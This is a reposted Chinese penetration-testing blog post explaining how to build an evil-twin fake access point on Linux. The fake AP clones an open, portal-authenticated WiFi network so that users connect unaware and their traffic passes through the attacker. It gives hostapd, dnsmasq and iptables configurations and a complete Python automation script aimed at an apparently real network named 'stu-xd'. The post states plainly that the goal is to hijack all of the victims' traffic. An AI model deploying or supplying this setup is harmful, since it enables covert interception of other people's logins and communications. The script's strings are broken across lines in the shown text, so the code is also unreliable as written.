zoukankan      html  css  js  c++  java
  • 渗透测试思路 | Linux下自动化搭建FakeAP,劫持用户在Portal认证下的所有流量

    如何在linux下搭建一个fakeap,使得portal认证下的用户无法发现连接你的假AP,并且能够正常上网。先说一下portal认证。无线WIFI认证方式主要有wpa2 和 open两种,而portal认证为open的一种,只不过想要获得访问权限,就得进行身份认证,无论是校园里的账号密码,或者酒店里的手机验证码都属于portal认证。运行环境,一块无线网卡负责搭建ap,有线部分负责连接目标ap。(至于两块网卡应该是可以实现的,不过下面的代码不适用,需要对NetworkManager的配置文件进行修改)

    那么如何在linux下搭建一个假AP,使用户鬼使神差的连到你的AP上而不被发现呢?这里我们使用hostapd,dnsmasq伪造一个Fake AP。

    1. 首先安装hostapd,dnsmasq

    ​sudo apt-get install hostapd
    sudo apt-get install dnsmasq

    2.安装完成后首先要修改hostapd、dnsmasq的配置文件

    首先是hostapd的配置文件,该文件负责配置开启ap所需要的内容, hostapd的配置文件是/etc/hostapd/hostapd.conf,这个文件需要自己创建,配置文件需要修改的是essid和channel,假如你的目标网络为“test“,那么配置文件中的essid需要修改为test,channel最好和目标网络相同。下图配置为建立一个作用在3信道的essid为test的OPEN式网络的假AP:

    interface=wlan0
    driver=nl80211
    ssid=test
    hw_mode=g
    channel=3
    macaddr_acl=0
    auth_algs=1
    ignore_broadcast_ssid=0

    Dnsmasq是一个小巧且方便地用于配置DNS和DHCP的工具,适用于小型网络 。如果网络环境内的机器较多,建议换用dhcpd,Dnsmasq负责分配ip和dns。配置如下:

    disables dnsmasq reading any other files like /etc/resolv.conf for nameservers
    no-resolv
    # Interface to bind to
    interface=wlan0
    #Specify starting_range,end_range,lease_time
    dhcp-range=10.0.0.3,10.0.0.20,12h
    # dns addresses to send to the clients
    server=8.8.8.8
    server=10.0.0.1

    3.配置完成后,你的假AP便可以为用户分配ip和dns了

    但是我们的目标是获取真正AP的认证页面。实际上,当你随意访问一个portal认证下网络的网页时,总会率先弹到认证界面,这是DNS服务器在起作用,他将所有的域名都解析为认证页面的ip,从而返回用户一个认证界面。所以我们要想给用户返回相同的界面的话,便要使用该portal网络的dns地址

    当然我们连接portal服务器后,随意访问一个网站都会获得该dns地址:

    nslookup qq.com

    将dns地址添加到上述Dnsmasq配置文件中,便可以返给用户正确的认证界面了。

    4.在这里还有一点需要注意,我们要修改NetworkManager.conf这个文件

    将无线网卡设置成未托管,这样才能正常启动hostapd,内容为

    [main]
    plugins=keyfile

    [keyfile]
    unmanaged-devices=interface-name:wlan0

    5.配置无线接入点的ip和子网掩码

    sudo ifconfig wlan0 up 10.0.0.1 netmask 255.255.255.0

    6.开启路由转发,使得我们的网卡可以转发流量

    sudo sysctl -w net.ipv4.ip_forward=1 

    7.经过上述处理,我们可以成功的开启假ap,但是工作还没有做完

    我们的目的是使得用户能够正常访问web流量,那么我们需要将假ap收到的流量转发给真正的AP,而将AP回复的信息转发给用户。这里需要设置一下iptables 转发,命令如下。

    sudo iptables --flush
    sudo iptables --table nat --flush
    sudo iptables --delete-chain
    sudo iptables --table nat --delete-chain
    sudo iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
    sudo iptables --append FORWARD --in-interface wlan0 -j ACCEPT

    8.配置完成后,大功告成!这时便可以开启你的Fake AP了!

    sudo hostapd /etc/hostapd/hostapd.conf

    当用户连接你的假ap,你便可以劫持他的所有流量了!

    代码如下(该代码运行在kali下,其他系统注意修改无线、有线网卡接口名称,root权限获取,essid也需要自行修改)

    #coding = utf-8
    import os
    import subprocess
    sudo = "/usr/bin/su
    do"
    tee = "/usr/bin/tee"
    def _run_cmd_write(cmd_args, s):
    # write a file using sudo
    p = subprocess.Popen(cmd_a
    rgs,
    stdin=subprocess.PIPE,
    stdout=subprocess.PIPE,
    shell=False, universal_newlines=True)
    p.stdin.write(s)
    p.stdin.close()
    p.wait()
    def write_file(path, s):
    _run_cmd_write((sudo, tee, path), s)
    def dnsmasq():
    try:
    ap_iface = 'wlan0'
    net_iface = 'eth0'
    network_manager_cfg = "[main]
    plugins=keyfile
    
    [keyfile]
    unmanaged-devices=interface-name:wlan0
    "
    os.system("sudo cp /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf.backup")
    write_file("/etc/NetworkManager/NetworkManager.conf", network_manager_cfg )
    os.system("sudo service network-manager restart")
    os.system("sudo ifconfig wlan0 up")
    os.system("sudo cp /etc/dnsmasq.conf /etc/dnsmasq.conf.backup")
    proc = subprocess.Popen("nslookup qq.com",stdin=subprocess.PIPE,stdout=subprocess.PIPE,shell=True)
    lines = proc.communicate()[0].split('
    ')
    for line in lines:
    if "Server:" in line:
    dnsserver = line[9:]
    break
    dnsmasq_file = "# disables dnsmasq reading any other files like /etc/resolv.conf for nameservers
    no-resolv
    # Interface to bind to
    interface=wlan0
    #Specify starting_range,end_range,lease_time
    dhcp-range=10.0.0.3,10.0.0.20,12h
    # dns addresses to send to the clients
    server=8.8.8.8
    server=10.0.0.1
    server=" + dnsserver + "
    "
    os.system("sudo rm /etc/dnsmasq.conf > /dev/null 2>&1")
    write_file("/etc/dnsmasq.conf", dnsmasq_file)
    except:
    pass
    def hostapd(essid,channel):
    try:
    #HOSTAPD CONFIG
    ssid = essid
    chan = channel
    hostapd_file = "interface=wlan0
    driver=nl80211
    ssid=" + ssid + "
    hw_mode=g
    channel=" + chan + "
    macaddr_acl=0
    auth_algs=1
    ignore_broadcast_ssid=0
    "
    os.system("sudo rm /etc/hostapd/hostapd.conf > /dev/null 2>&1")
    write_file("/etc/hostapd/hostapd.conf", hostapd_file)
    except:
    pass
    
    def iptables_setting():
    try:
    os.system("sudo ifconfig wlan0 up 10.0.0.1 netmask 255.255.255.0")
    os.system("sudo iptables --flush")
    os.system("sudo iptables --table nat --flush")
    os.system("sudo iptables --delete-chain")
    os.system("sudo iptables --table nat --delete-chain")
    os.system("sudo iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE")
    os.system("sudo iptables --append FORWARD --in-interface wlan0 -j ACCEPT")
    #/IPTABLES
    except:
    pass
    def start_dnsmasq():
    try:
    os.system("sudo /etc/init.d/dnsmasq stop > /dev/null 2>&1")
    os.system("sudo pkill dnsmasq")
    os.system("sudo dnsmasq")
    except:
    pass
    def start_hostapd():
    try:
    os.system("sudo sysctl -w net.ipv4.ip_forward=1 > /dev/null 2>&1")
    os.system("sudo hostapd /etc/hostapd/hostapd.conf")
    except:
    pass
    
    def main():
    dnsmasq()
    hostapd('stu-xd','3')
    iptables_setting()
    start_dnsmasq()
    start_hostapd()
    if name == 'main':
    main()
  • 相关阅读:
    1、PHP入门二维数组与循环
    Nginx 配置反向代理后,页面中取绝对URL地址的问题显示代理端口
    苹果手机上点击WEUI日期控件不容易点中
    ios 不支持-,-时间。
    Newtonsoft.Json添加项
    Baidu地图Map api直接加https不起作用
    腾讯云cos封装
    linux连接工具隧道模式
    微信调试工具测试时有时候复制URL没有corpid解决
    WEUI控件JS用法
  • 原文地址:https://www.cnblogs.com/h2zZhou/p/7759867.html
Copyright © 2011-2022 走看看